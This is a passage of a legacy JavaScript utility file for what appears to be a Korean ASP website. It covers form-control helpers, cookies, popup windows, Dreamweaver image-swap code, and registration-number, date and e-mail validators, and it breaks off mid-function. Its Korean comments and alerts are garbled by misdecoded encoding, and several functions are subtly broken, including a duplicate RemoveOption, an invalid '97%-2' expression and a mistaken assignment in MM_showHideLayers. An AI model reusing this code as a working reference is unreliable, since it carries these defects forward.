/*------------------------------------------------------------
  ÆÄÀÏÀ§Ä¡ : /global/shared/function/scripts/
  ÆÄ ÀÏ ¸í : Default.js
  ³»    ¿ë : ÀÚÁÖ »ç¿ëµÇ´Â Java Script Function
------------------------------------------------------------*/

var doc;
var frm;
var strScriptPath;

var isDOM = (document.getElementById ? true : false); 
var isIE4 = ((document.all && !isDOM) ? true : false);
var isNS4 = (document.layers ? true : false);
var isNS = navigator.appName == "Netscape";

// Window OnLoad Event
//window.onload = Initialize;
window.onload = function(){
	Initialize();
	}



// Ä¿¼­ÀÇ ½ºÅ¸ÀÏÀ» ÇÚµå·Î º¯°æÇÑ´Ù.
function Hand(obj) { obj.style.cursor = 'hand'; }

// ¹è°æ»öÀ» º¯°æÇÑ´Ù.
function ChangeBGColor(obj, color) { obj.style.background = color; }

// ÆùÆ®»öÀ» º¯°æÇÑ´Ù.
function ChangeFTColor(obj, color) { obj.style.color = color; }

// ÄÁÆ®·Ñ Å¬¸¯
function ClickCtrl(ctrl) { ctrl.click(); }

function ImageView(strPath)
{
  window.open('/Common/Shared/Htmls/ImageView.asp?strImageUrl=' + strPath, null, 'left=1,top=1,width=10,height=10,marginwidth=0,marginheight=0,toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no');
}


/*------------------------------------------------------------
  Ã¼Å©¹Ú½º(CheckBox) °ü·Ã ÇÔ¼öµé
------------------------------------------------------------*/

// Æû¾ÈÀÇ ¸ðµç Ã¼Å©¹Ú½ºÀÇ »óÅÂ¸¦ bln À¸·Î º¯°æÇÑ´Ù.
function ChangeAllCheckBox(frm, bln)
{
	var element = frm.elements;

	for (var i = 0; i < element.length; i++)
		if (element[i].type == "checkbox")
			element[i].checked = bln;
}

// µ¿¸íÀÇ ¸ðµç Ã¼Å©¹Ú½ºÀÇ »óÅÂ¸¦ bln À¸·Î º¯°æÇÑ´Ù.
function ChangeAllCheckBox2(chk, bln)
{
	if (!chk.length) chk.checked = bln;
	else
	{
		for (var i = 0; i < chk.length; i++)
			chk[i].checked = bln;
	}
}

// Æû¾ÈÀÇ Ã¼Å©¹Ú½ºÀÇ °³¼ö¸¦ ¸®ÅÏÇÑ´Ù.
function GetCheckBoxCount(frm)
{
	var element = frm.elements;
	var cnt = 0;

	for (var i = 0; i < element.length; i++)
		if (element[i].type == "checkbox") cnt++;

	return cnt;
}

// Æû¾ÈÀÇ Ã¼Å©µÈ Ã¼Å©¹Ú½ºÀÇ °³¼ö¸¦ ¸®ÅÏÇÑ´Ù.
function GetCheckedBoxCount(frm)
{
	var element = frm.elements;
	var cnt = 0;

	for (var i = 0; i < element.length; i++)
		if (element[i].type == "checkbox" && element[i].checked == true) cnt++;
	
	return cnt;
}

// µ¿¸íÀÇ Ã¼Å©¹Ú½º Áß Ã¼Å©µÈ ¼ö¸¦ ¸®ÅÏÇÑ´Ù.
function GetCheckedBoxCount2(chk)
{
	var cnt = 0;

	if (!chk.length) {
		if (chk.checked) cnt = 1;
	}
	else {
		for (var i = 0; i < chk.length; i++) {
			if (chk[i].checked) cnt++;
		}
	}
	return cnt;
}

// Æû¾ÈÀÇ Ã¼Å©µÈ Ã¼Å©¹Ú½ºÀÇ °ªÀ» split ·Î ¿¬°áÇØ ¸®ÅÏÇÑ´Ù.
// Ã¼Å©µÈ Ã¼Å©¹Ú½º°¡ ¾øÀ¸¸é null À» ¸®ÅÏÇÑ´Ù.
function GetCheckedBoxValues(frm, split)
{
	var element = frm.elements;
	var strRtn = null;

	for (var i = 0; i < element.length; i++)
		if (element[i].type == "checkbox" && element[i].checked)
			if (!strRtn) strRtn = element[i].value;
			else strRtn += split + element[i].value;

	return strRtn;
}

// µ¿¸íÀÇ Ã¼Å©¹Ú½º Áß Ã¼Å©µÈ °ªÀ» split ·Î ¿¬°áÇØ ¸®ÅÏÇÑ´Ù.
function GetCheckedBoxValues2(chk, split)
{
	var strRtn = null;

	if (!chk.length)
	{
		if (chk.checked) strRtn = chk.value;
	}
	else
	{
		for (var i = 0; i < chk.length; i++)
		{
			if (chk[i].checked)
				if (!strRtn) strRtn = chk[i].value;
				else strRtn += split + chk[i].value;
		}
	}

	return strRtn;
}

/*------------------------------------------------------------
  ¶óµð¿À¹öÆ°(Radio) °ü·Ã ÇÔ¼öµé
------------------------------------------------------------*/

// ¶óµð¿À ¹öÆ°ÀÇ value ¸¦ °Ë»öÇÏ¿© ÀÏÄ¡ÇÏ´Â ¶óµð¿À ¹öÆ°À» ¼±ÅÃÇÑ´Ù.
function CheckByValue(ctl, val)
{
	for (var i = 0; i < ctl.length; i++)
		if (ctl[i].value.toLowerCase() == val.toLowerCase())
		{
			ctl[i].checked = true;
			break;
		}
}

// Ã¼Å©µÈ ¶óµð¿À ¹öÆ°ÀÇ °ªÀ» ¸®ÅÏÇÑ´Ù.
function GetRadioValue(ctl)
{
	var val = "";

	for (var i = 0; i < ctl.length; i++)
	{
		if (ctl[i].checked)
		{
			val = ctl[i].value;
			break;
		}
	}

	return val;
}

// Ã¼Å©µÈ ¶óµð¿À ¹öÆ°ÀÇ °ª2À» ¸®ÅÏÇÑ´Ù.
function GetRadioValue2(ctl)
{
	var val = "";

	for (var i = 0; i < ctl.length; i++)
	{
		if (ctl[i].checked)
		{
			val = ctl[i].value2;
			break;
		}
	}

	return val;
}

/*------------------------------------------------------------
  ÄÞº¸¹Ú½º(Select) °ü·Ã ÇÔ¼öµé
------------------------------------------------------------*/

// Select¿¡ ¿É¼ÇÀ» Ãß°¡ÇÑ´Ù.
function AddOption(ctl, txt, val)
{
	var opt = new Option(txt, val);
	ctl.options[ctl.options.length] = opt;
}

// SelectBoxÀÇ ¿É¼ÇÀ» Á¦°ÅÇÑ´Ù.
function RemoveOption(ctl)
{
	if (RemoveOption.arguments[1]) ctl.options.length = 0;
	else ctl.options[ctl.selectedIndex] = null;
}

// SelectÀÇ ¿É¼ÇµéÀÇ °ªÀ» split ·Î ¿¬°áÇØ ¸®ÅÏÇÑ´Ù.
// Select¿¡ ¿É¼ÇÀÌ Á¸ÀçÇÏÁö ¾ÊÀ¸¸é null À» ¸®ÅÏÇÑ´Ù.
function GetSelectValues(ctl, split)
{
	var strRtn = null;

	for (var i = 0; i < ctl.options.length; i++)
		if (!strRtn) strRtn = ctl.options[i].value;
		else strRtn += split + ctl.options[i].value;

	return strRtn;
}

// SelectÀÇ ¿É¼Ç value ¸¦ °Ë»öÇÏ¿© ÀÏÄ¡ÇÏ´Â ¿É¼ÇÀ» ¼±ÅÃÇÑ´Ù.
function SelectByValue(ctl, val)
{
	for (var i = 0; i < ctl.options.length; i++)
		if (ctl.options[i].value.toLowerCase() == val.toLowerCase())
		{
			ctl.options[i].selected = true;
			break;
		}
}

// SelectÀÇ ¿É¼Ç text ¸¦ °Ë»öÇÏ¿© ÀÏÄ¡ÇÏ´Â ¿É¼ÇÀ» ¼±ÅÃÇÑ´Ù.
function SelectByText(ctl, txt)
{
	for (var i = 0; i < ctl.options.length; i++)
		if (ctl.options[i].text.toLowerCase() == txt.toLowerCase())
		{
			ctl.options[i].selected = true;
			break;
		}
}

// SelectÀÇ °ªÀÌ "" ¶Ç´Â "_line_" ÀÏ °æ¿ì 0¹øÂ° OptionÀ» ¼±ÅÃÇÑ´Ù.
function ChkSelect(ctl)
{
	if (ctl.value == "" || ctl.value == "_line_")
		ctl.options[0].selected = true;
}


/*------------------------------------------------------------
  ¿É¼Ç ¼³Á¤ ÇÔ¼ö
------------------------------------------------------------*/

function AppendOption(fbox,tbox)
{
	var i = 0;
	if(fbox.value != "") {
		var no = new Option();
		no.value = fbox.value;
		no.text = fbox.value;
		tbox.options[tbox.options.length] = no;
		fbox.value = "";
	}
	Active(fbox);
}

function RemoveOption(obj)
{
	for(var i=0; i<obj.options.length; i++) {
		if(obj.options[i].selected && obj.options[i] != "") {
			obj.options[i].value = "";
			obj.options[i].text = "";
		}
	}
	BumpUp(obj);
} 
function BumpUp(obj)
{
	for(var i = 0; i < obj.options.length; i++) {
		if(obj.options[i].value == "")  {
			for(var j = i; j < obj.options.length - 1; j++)  {
				obj.options[j].value = obj.options[j + 1].value;
				obj.options[j].text = obj.options[j + 1].text;
			}
			var ln = i;
			break;
		}
	}
	if(ln < obj.options.length)  {
		obj.options.length -= 1;
		BumpUp(obj);
	}
}
function OptionUp(obj)
{
	if (obj.value == "")
		alert("¼±ÅÃµÈ Ç×¸ñÀÌ ¾ø½À´Ï´Ù.  ");
	else {
		for(var i = 0; i < obj.options.length; i++) {
			if (obj.options[i].selected && obj.options[i] != "" && obj.options[i] != obj.options[0]) {
				var tmpval = obj.options[i].value;
				var tmpval2 = obj.options[i].text;
				obj.options[i].value = obj.options[i - 1].value;
				obj.options[i].text = obj.options[i - 1].text
				obj.options[i-1].value = tmpval;
				obj.options[i-1].text = tmpval2;
			}
		}
	}
}
function OptionDown(obj)
{
	if (obj.value == "")
		alert("¼±ÅÃµÈ Ç×¸ñÀÌ ¾ø½À´Ï´Ù.  ");
	else {
		for(var i = 0; i < obj.options.length; i++) {
			if (obj.options[i].selected && obj.options[i] != "" && obj.options[i+1] != obj.options[obj.options.length]) {
				var tmpval = obj.options[i].value;
				var tmpval2 = obj.options[i].text;
				obj.options[i].value = obj.options[i+1].value;
				obj.options[i].text = obj.options[i+1].text
				obj.options[i+1].value = tmpval;
				obj.options[i+1].text = tmpval2;
			}
		}
	}
}


/*------------------------------------------------------------
  ±âÅ¸ ÇÔ¼öµé
------------------------------------------------------------*/

// ¹®ÀÚ¿­¿¡ Æ¯¼ö¹®ÀÚ°¡ ÀÖ´ÂÁö¸¦ Ã¼Å©ÇÑ´Ù.
// Æ¯¼ö¹®ÀÚ°¡ Æ÷ÇÔµÇ¾î ÀÖÀ¸¸é true ¸¦ ¸®ÅÏÇÑ´Ù.
function CheckSpChr(str)
{
	var char;
	var bln = false;

	for (var i = 0; i < str.length; i ++)
	{
		char = str.charCodeAt(i);
		if ((char >= 0 && char <= 47) || (char >= 58 && char <= 64) ||
			(char >= 91 && char <= 96) || (char >= 123 && char <= 127))
		{
			bln = true;
			break;
		}
	}

	return bln;
}

// ¹®ÀÚ¿­¿¡ 2¹ÙÀÌÆ®ÀÇ ¹®ÀÚ°¡ Æ÷ÇÔµÇ¾î ÀÖ´ÂÁö Ã¼Å©ÇÑ´Ù.
// Æ÷ÇÔµÇ¾î ÀÖÀ¸¸é true ¸¦ ¸®ÅÏÇÑ´Ù.
function Check2Chr(str)
{
	var s = new String(str);
	var l = s.length;
	var bRtn = false;

	for (var i = 0; i < l; i++)
	{
		var temp = s.charAt(i);

		if (escape(temp).length > 4)
		{
			bRtn = true;
			break;
		}
	}

	return bRtn;
}

// ¹®ÀÚ¿­¿¡ °ø¹éÀÌ ÀÖ´ÂÁö¸¦ Ã¼Å©ÇÑ´Ù.
function CheckSpace(str)
{
	return (str.indexOf(" ") > -1);
}

// ¸Þ½ÃÁö(msg)¸¦ º¸³»°í ÄÁÆ®·Ñ(ctl)ÀÌ Æ÷Ä¿½º¸¦ °¡Áø´Ù.
function Alert(msg)
{
	alert(msg);
	if (Alert.arguments[1]) Active(Alert.arguments[1]);
}

// ÄÁÆ®·Ñ(ctl)ÀÌ Æ÷Ä¿½º¸¦ °¡Áø´Ù.
function Active(ctl)
{
	ctl.focus();

	if (ctl.type.toLowerCase() == "text" || ctl.type.toLowerCase() == "textarea")
		if (ctl.value.length > 0) ctl.select();
}

// ¼ýÀÚ¿¡ ÀûÇÕÇÑÁö¸¦ Ã¼Å©ÇÑ´Ù.
function IsNumeric(str)
{
	return (!isNaN(str) && !CheckSpace(str) && str.length > 0)
}

// URL ¿¡¼­ ÆÄÀÏ¸íÀ» Á¦¿ÜÇÑ URL À» °¡Á®¿Â´Ù.
function GetURL(url)
{
	return (url.substr(0, url.lastIndexOf("/") + 1));
}

// URL ¿¡¼­ ÆÄÀÏ¸íÀ»¸¸ °¡Á®¿Â´Ù.
function GetFileFullName(url)
{
	return (url.substr(url.lastIndexOf("/") + 1));
}

// ÆÄÀÏ¸í¿¡¼­ È®ÀåÀÚ¸¦ Á¦¿ÜÇÑ ¸í¸¸ °¡Á®¿Â´Ù.
function GetFileName(fname)
{
	return (fname.substr(0, fname.lastIndexOf(".")));
}

// ÆÄÀÏ¸í¿¡¼­ È®ÀåÀÚ¸¦ °¡Á®¿Â´Ù.
function GetFileExt(fname)
{
	return (fname.substr(fname.lastIndexOf(".") + 1));
}

function OnKeyDown_NextButton(btn)
{
	if (event.keyCode == "13") btn.focus();
}

/*------------------------------------------------------------
  À©µµ¿ì °ü·Ã ÇÔ¼öµé
------------------------------------------------------------*/

// ÆäÀÌÁö ÀÌµ¿
function Go(t) { self.history.go(t); }

// ÆäÀÌÁö¸¦ ÀÌµ¿ÇÑ´Ù.
// url          : ÆäÀÌÁö URL
// arguments[1] : ÀÌµ¿ÇÒ À©µµ¿ì
// arguments[2] : ÆäÀÌÁö ÀÌµ¿ ¹æ¹ý
function Move(url)
{
	var wnd = (Move.arguments[1] ? Move.arguments[1] : self);
	var pmt = (Move.arguments[2] ? Move.arguments[2] : 0);

	if (pmt == 0) wnd.location.href = url;
	else if (pmt == 1) wnd.location.replace(url);
}

// ÆäÀÌÁö¸¦ ¸®·ÎµåÇÑ´Ù.
// arguments[0] : ¸®·ÎµåÇÒ À©µµ¿ì
function ReloadWnd()
{
	var wnd = (ReloadWnd.arguments[0] ? ReloadWnd.arguments[0] : self);
	wnd.location.reload();
}

// À©µµ¿ì ±¸Á¶
function CWnd()
{
	this.url = "";
	this.name = "";
	this.width = 0;
	this.height = 0;
	this.left = 0;
	this.top = 0;
	this.toolbar = "no";
	this.menubar = "no";
	this.scrollbars = "no";
}

// À©µµ¿ì ¿ÀÇÂ
function OpenWnd(wnd)
{
	var opt = "width=" + String(wnd.width) + ", height=" + String(wnd.height) +
		", left=" + String(wnd.left) + ", top=" + String(wnd.top) + 
		", toolbar=" + wnd.toolbar + ", menubar=" + wnd.menubar +
		", scrollbars=" + wnd.scrollbars

	return window.open(wnd.url, wnd.name, opt);
}

// À©µµ¿ì Å¬·ÎÁî
function CloseWnd(wname)
{
	wname.close();
}

// Ã¢ÀÌ ½ºÅ©¸°ÀÇ °¡¿îµ¥ ¿Àµµ·Ï Left À§Ä¡¸¦ ¸®ÅÏÇÑ´Ù.
function SetWndL2C(width)
{ return (screen.width / 2) - (width / 2); }

// Ã¢ÀÌ ½ºÅ©¸°ÀÇ °¡¿îµ¥ ¿Àµµ·Ï Top À§Ä¡¸¦ ¸®ÅÏÇÑ´Ù.
function SetWndT2C(height)
{ return (screen.height / 2) - (height / 2); }

// Show Object
function Show(obj)
{ if (obj.style.display != "block") obj.style.display = "block"; }

// Hide Object
function Hide(obj)
{
	if (obj.style.display != "none") obj.style.display = "none";
}

/*------------------------------------------------------------
  ÁÖ¹Î¹øÈ£/»ç¾÷ÀÚ¹øÈ£ °ü·Ã ÇÔ¼öµé
------------------------------------------------------------*/

// ÁÖ¹Îµî·Ï¹øÈ£¸¦ °Ë»çÇÑ´Ù.
// ¿Ã¹Ù¸¥ ÁÖ¹Îµî·Ï¹øÈ£ÀÌ¸é true ¸¦ ¸®ÅÏÇÑ´Ù.
function CheckRegNo(reg_string)
{
	var a = reg_string.substring(6, 7);
	var sum;
	var num;

	if (a < '1' || a > '4') return false;
	else
	{
		sum = 0;
		num = 2;

		for(var i = 0; i < 12; i++)
		{
			a = reg_string.substring(i, i + 1);
			sum = sum + num * (a - '0');
			num++;
			if( num == 10 ) num = 2;
		}

		i = (11 - (sum % 11)) % 10;
		a = reg_string.substring(12, 13);

		return (a == i);
	}
}

// »ç¾÷ÀÚ¹øÈ£ Ã¼Å©
function CheckBizNo(biz_string)
{
	var rtn = false;
	var sumMod = 0;

	if (biz_string.length > 0 && biz_string.length == 10)
	{
		sumMod += parseInt(biz_string.substring(0, 1));
		sumMod += parseInt(biz_string.substring(1, 2)) * 3 % 10;
		sumMod += parseInt(biz_string.substring(2, 3)) * 7 % 10;
		sumMod += parseInt(biz_string.substring(3, 4)) * 1 % 10;
		sumMod += parseInt(biz_string.substring(4, 5)) * 3 % 10;
		sumMod += parseInt(biz_string.substring(5, 6)) * 7 % 10;
		sumMod += parseInt(biz_string.substring(6, 7)) * 1 % 10;
		sumMod += parseInt(biz_string.substring(7, 8)) * 3 % 10;
		sumMod += Math.floor(parseInt(biz_string.substring(8, 9)) * 5 / 10);
		sumMod += parseInt(biz_string.substring(8, 9)) * 5 % 10;
		sumMod += parseInt(biz_string.substring(9, 10));

		if (sumMod % 10 == 0) rtn = true;
	}

	return rtn;
}

// ³¯Â¥Ã¼Å©
// dt : 0000-00-00
function ChkDate(dt)
{
	var y;
	var m;
	var d;
	var s1;
	var s2;

	if (dt == "" || dt.length != 10)
		return false;
	else
	{
		y = dt.substr(0, 4);
		m = dt.substr(5, 2);
		d = dt.substr(8, 2);
		s1 = dt.substr(4, 1);
		s2 = dt.substr(7, 1);

		if (!IsNumeric(y) || Number(y) < 1000) return false;
		else if (!IsNumeric(m) || Number(m) < 1 || Number(m) > 12) return false;
		else if (!IsNumeric(d) || Number(d) < 1 || Number(d) > 31) return false;
		else if (s1 != "-") return false;
		else if (s2 != "-") return false;
		else return true;
	}
}

// È¸¿ø ÇÁ·ÎÇÊ º¸±â
function ViewUserProfile(uid)
{
	var wUserProfile = new CWnd();

	with (wUserProfile)
	{
		url = "/user/userprofile.asp?struid=" + uid + "&btag=0";
		name = "wnUserProfile";
		width = 300;
		height = 300;
		//left = SetWndL2C(width);
		//top = SetWndT2C(height);
		left = 0;
		top = 0;
		toolbar = "no";
		menubar = "no";
		scrollbars = "no";
	}

	OpenWnd(wUserProfile);
}

function assert_msglen(msg, max_len)
{
	var nbytes = 0;
	var onechar;
	var msgLen = msg.length;

	for(k=0;k<msgLen;k++) {
		onechar = msg.charAt(k);

		if(escape(onechar).length > 4)	//ÇÑ±Û Ã¼Å©
			nbytes += 2;
		else
			nbytes++;

		if(nbytes>max_len) {					//¸Þ¼¼Áö ÀÚ¸£±â
			msg = msg.substring(0, k);
			break;
		}
	}
	return msg;
}

function Cal_Length(msg)
{
	var nbytes = 0;
	var cnt=0;

	for (i = 0; i < msg.length; i++) {
		var ch = msg.charAt(i);
		
		if (escape(ch).length > 4) {
			nbytes += 2;
			nbytes -= cnt;
		}
		else {
			nbytes++;
		}
	}
	return nbytes;
}

function cal_byte(max_len, frm)
{
	var formCbyte;		//ÇöÀç ¹ÙÀÌÆ® InputBox
	var msgLen=0;		//Àü¼Û¸Þ¼¼Áö ±æÀÌ

	msgLen  = Cal_Length(frm.value);//snd_msg ±æÀÌ Ã¼Å©

	if (msgLen > max_len) {
		window.alert("ÇØ´ç ¶õ¿¡´Â "+max_len+"¹ÙÀÌÆ® ÀÌ»ó ÀÔ·ÂÇÒ¼ö ¾ø½À´Ï´Ù.  \r\nÃÊ°úµÈ ºÎºÐÀº »èÁ¦µË´Ï´Ù.");
		frm.value	= assert_msglen(frm.value, max_len);
		return;
	}
}
function Display(obj)
{
	if(obj.style.display=="none") {
		Show(obj);
	}
	else {
		Hide(obj);
	}
}

// Fixing
function ObjFixing(obj, bln)
{
	if(bln) {
		obj.readOnly = false;
		obj.style.background = "#ffffff";
	}
	else {
		obj.readOnly = true;
		obj.style.background = "efefef";
	}
}


//°´Ã¼ È°¼º,ºñÈ°¼º ¼³Á¤ ÇÔ¼ö
function showObject(Obj,Boolen)
{
	if(Boolen){					//È°¼ºÈ­
		Obj.disabled = false;
		Obj.style.background = "#ffffff";
	}
	else{						//ºñÈ°¼ºÈ­
		Obj.disabled = true;
		Obj.style.background = "#efefef";
	}
}


function setCookie( name, value, expiredays )
{
	var today = new Date();
	today.setDate( today.getDate() + expiredays );
	document.cookie = name + "=" + escape( value ) + "; path=/; expires=" + today.toGMTString() + ";";
}
function getCookie(strName)
{
        var strArg = new String(strName + "="); 
        var nArgLen, nCookieLen, nEnd;
        var i = 0, j;
        
        nArgLen    = strArg.length;
        nCookieLen = document.cookie.length;
        
        if(nCookieLen > 0) {
                while(i < nCookieLen) {
                        j = i + nArgLen;
                        
                        if(document.cookie.substring(i, j) == strArg) {
                                nEnd = document.cookie.indexOf (";", j);
                                
                                if(nEnd == -1) nEnd = document.cookie.length;
                                
                                return unescape(document.cookie.substring (j, nEnd));
                        }
                        
                        i = document.cookie.indexOf(" ", i) + 1;
                        if (i == 0) break;
                }
        }
        return("");
}

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.0
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && document.getElementById) x=document.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}
function MM_showHideLayers() { //v3.0
  var i,p,v,obj,args=MM_showHideLayers.arguments;
  for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
    if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v='hide')?'hidden':v; }
    obj.visibility=v; }
}
function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}


function bt(id,after) 
{ 
	eval(id+'.filters.blendTrans.stop();'); 
	eval(id+'.filters.blendTrans.Apply();'); 
	eval(id+'.src="'+after+'";'); 
	eval(id+'.filters.blendTrans.Play();'); 
} 

function SetReSizeFrame(name)
{
        var objBody = document.body;
        var objFrame = parent.document.all(name);
        var intWidth = objBody.scrollWidth + (objBody.offsetWidth-objBody.clientWidth);
        var intHeight = objBody.scrollHeight + (objBody.offsetHeight-objBody.clientHeight);

        var intMinLimit_Width = 97%-2;
        var intMinLimit_Height = 120;
        if(intWidth < intMinLimit_Width) intWidth = min_width;
        if(intWidth < intMinLimit_Height) intHeight = min_height;

        objFrame.style.width = intWidth;
        objFrame.style.height = intHeight + 10;
        //parent.scrollTo(1, 1); //ºÎ¸ð¹®¼­ÀÇ ½ºÅ©·Ñ À§Ä¡¸¦ 1, 1 À§Ä¡·Î ¿Å±ç
}

function getRef(id) {
	if (isDOM) return document.getElementById(id);
	if (isIE4) return document.all[id];
	if (isNS4) return document.layers[id];
}

function moveRightEdge() {
	var yMenuFrom, yMenuTo, yOffset, timeoutNextCheck;
	if (isNS4) {
		yMenuFrom   = divMenu.top;
		yMenuTo     = windows.pageYOffset + 0;   // À§ÂÊ À§Ä¡
	} else if (isDOM) {
		yMenuFrom   = parseInt (divMenu.style.top, 10);
		yMenuTo     = (isNS ? window.pageYOffset : document.body.scrollTop) + 0; // À§ÂÊ À§Ä¡
		if(yMenuTo >158)
			yMenuTo-=158;
		else yMenuTo=0;
	}
	timeoutNextCheck = 500;
	if (yMenuFrom != yMenuTo) {
		yOffset = Math.ceil(Math.abs(yMenuTo - yMenuFrom) / 20);
		if (yMenuTo < yMenuFrom)
			yOffset = -yOffset;
		if (isNS4)
			divMenu.top += yOffset;
		else if (isDOM)
			divMenu.style.top = parseInt (divMenu.style.top, 10) + yOffset;
			timeoutNextCheck = 10;
	}
	setTimeout ("moveRightEdge()", timeoutNextCheck);
}


//°´Ã¼ È°¼º,ºñÈ°¼º ¼³Á¤ ÇÔ¼ö
function checkshowObject(Obj,Boolen)
{
	Boolen ? Obj.disabled = false: Obj.disabled = true;
}

/* ¹è¿­ Ã³¸® ÇÔ¼ö */
//Ãß°¡
function addArray(Obj,Val)
{
	var arrLength= Obj.length;
	Obj[arrLength] = Val;
}

//»èÁ¦
function delArray(Obj,Index)
{
	var temp=new Array();
	var nextIndex = Index +1;

	for(i=0,j=0;i<Obj.length;i++){
		if(i!=Index){
			temp[j] = Obj[i];
			j++;
		}
	}
	for(i=0;i<temp.length;i++)
		Obj[i]=temp[i];
	return temp.length;
}

//ÇÑ±ÛÃ¼Å©
function hanCheck(Str)
{
	var Re=false;
	for(i=0;i<Str.length;i++){
		var a=Str.charCodeAt(i);
		if (a > 128) {
			Re=true;
		}
	}
	return Re;
}

//ÆÄÀÏ¸í ÇÑ±Û Ã¼Å©
function filehanCheck(Str)
{
	var Arr = new Array();
	var Re=false;
	Arr=Str.split("\\");
	return hanCheck(Arr[Arr.length-1]);
}

//¿¬¶ôÃ³Ã¼Å©
function telCheck(Tel1, Tel2, Tel3){
	var Re=true;
	if(!numCheck(Tel1) ||!numCheck(Tel2) ||!numCheck(Tel3) )
		Re = false;
	else if(Tel1.length <2 || Tel1.length >3)
		Re = false;
	else if(Tel2.length <3 || Tel2.length >4)
		Re = false;
	else if(Tel3.length <4 || Tel3.length >4)
		Re = false;
	return Re;
}

//¸¸³ªÀÌ Ã¼Å©
function manChek(ssh1)
{
	var today = new Date();
	var day = today.getDate();
	var month = today.getMonth()+1;
	var year = today.getYear();

	ssh=year*10000+month*100+day;
	ssh=ssh-ssh1-19000000;
	return ssh;
}

//ÀÌ¸ÞÀÏÃ¼Å©
function isEmail(str) {
  var supported = 0;
  if (window.RegExp) {
    var tempStr = "a";
    var tempReg = new RegExp(tempStr);
    if (tempReg.test(tempStr)) supported = 1;
  }
  if (!supported) 
    return (str.indexOf(".") > 2) && (str.indexOf("@") > 0);
  var r1 = new RegExp("(@.*@)|(\\.\\.)|(@\\.)|(^\\.)");
  var r2 = new RegExp("^.+\\@(\\[?)[a-zA-Z0-9\\-\\.]+\\.([a-zA-Z]{2,3}|[0-9]{1,3})(\\]?)$");
  return (!r1.test(str) && r2.test(str));
}



//ÄíÅ°ÀúÀå
function setCookie( name, value, expiredays )
{
	var todayDate = new Date();
	todayDate.setDate( todayDate.getDate() + expiredays );
	document.cookie = name + "=" + escape( value ) + "; path=/; expires=" + todayDate.toGMTString() + ";"
	//document.cookie = name + "=" + escape( value ) + "; path=/;";
}

//Ä®·¯ ¹Ú½º
//       setColor(string mul|sin, string bg|style  string  id)
function setColor(Part1,Part2,Obj)
{
	window.open("color.asp?part1="+Part1+"&part2="+Part2+"&target="+Obj,"","scrollbars=yes,width=350,height=110,left=300,top=300");
}
function subsetColor(Part1,Part2,Obj,tForm)
{
	window.open("sub_color.asp?part1="+Part1+"&part2="+Part2+"&target="+Obj+"&tForm="+tForm,"","scrollbars=yes,width=350,height=110,left=300,top=300");
}
//1Â÷Ä«Å×°í¸® ¸¶¿ì½º ¾Æ¿ô ¼³Á¤
function layerImgOut(Name,Src)
{
	Name.src=Src;
}

//°ü·ÃÀÌ¹ÌÁö ¿Ã¸®±â »õÃ¢
function inputImg(Part,Code)
{
	var form=document.writeForm;
	window.open("input_img.asp?part="+Part+"&code="+Code,"","scrollbars=yes,left=200,top=200,width=467,height=500");
}
//<tr> ¹è°æ»ö ¹Ù²Ù±â
function bgcolorChange(Obj,Color)
{
	Obj.backgroundColor = Color;
}

// ¸®¸ðÄÜ
function SetPosRemote()
{
	var divQuick = doc.divQuick;
	var intCurrentTop = parseInt(divQuick.style.top, 10);
	var intLaterTop = document.body.scrollTop + 50;
	var intChkTerm = 10;

	if (intCurrentTop != intLaterTop) {
		intOffSet = Math.ceil(Math.abs(intLaterTop - intCurrentTop) / 20);
		if (intLaterTop < intCurrentTop) intOffSet = -intOffSet;
		divQuick.style.top = intCurrentTop + intOffSet;
	}

	setTimeout("SetPosRemote()", intChkTerm);
}

// textarea ±ÛÀÚ¼ö Á¦ÇÑ
function CheckStrLen(ctl, txtCtl, intLimitLength)
{
	var strTemp; //µé¾î¿À´Â ¹®ÀÚ°ª...
	var msglen;
	msglen = intLimitLength*2;
	
	l = ctl.value.length;
	tmpstr = "" ;

	if (l == 0)  
		txtCtl.value = intLimitLength*2;
	else {
		for(k=0;k<l;k++) {
			strTemp = ctl.value.charAt(k);

			if (escape(strTemp).length > 4)
				msglen -= 2;
			else
				msglen--;
		
			if(msglen < 0) {
				alert("ÃÑ ¿µ¹® "+(intLimitLength*2)+"ÀÚ ÇÑ±Û " + intLimitLength + "ÀÚ ±îÁö º¸³»½Ç¼ö ÀÖ½À´Ï´Ù.");
				ctl.value = tmpstr;
				break;
			}
			else {
				txtCtl.value = msglen;
				tmpstr += strTemp;
			}
		}
	}
}

function IsNumber(key)
{
	if (navigator.appName == 'Netscape') {
		keyValue = key.which;
	}
	else {
		keyValue = key.keyCode;
	}

	if (keyValue >= 48 && keyValue <= 57) {
		return true;
	}
	else {
		return false;
	}
}


//¹®ÀÚ¸¦ ¹Þ¾Æ¼­ 3ÀÚ¸®¸¶´Ù ÄÞ¸¶¸¦ Âï¾î ¹ÝÈ¯ÇÑ´Ù.
String.prototype.comma=function()
{
	var str=new Array();
	//ÄÞ¸¶¸¦ ºó¹®ÀÚ¿­·Î ´ëÃ¼
	var v=this.replace(/,/gi,'');

	//¹®ÀÚ¿­¸¸Å­ ·çÇÁ¸¦ µ·´Ù.
	for(var i=0;i<=v.length;i++) {
		//½ºÆ®¸µ¿¡ °Å²Ù·Î ´ãÀ½
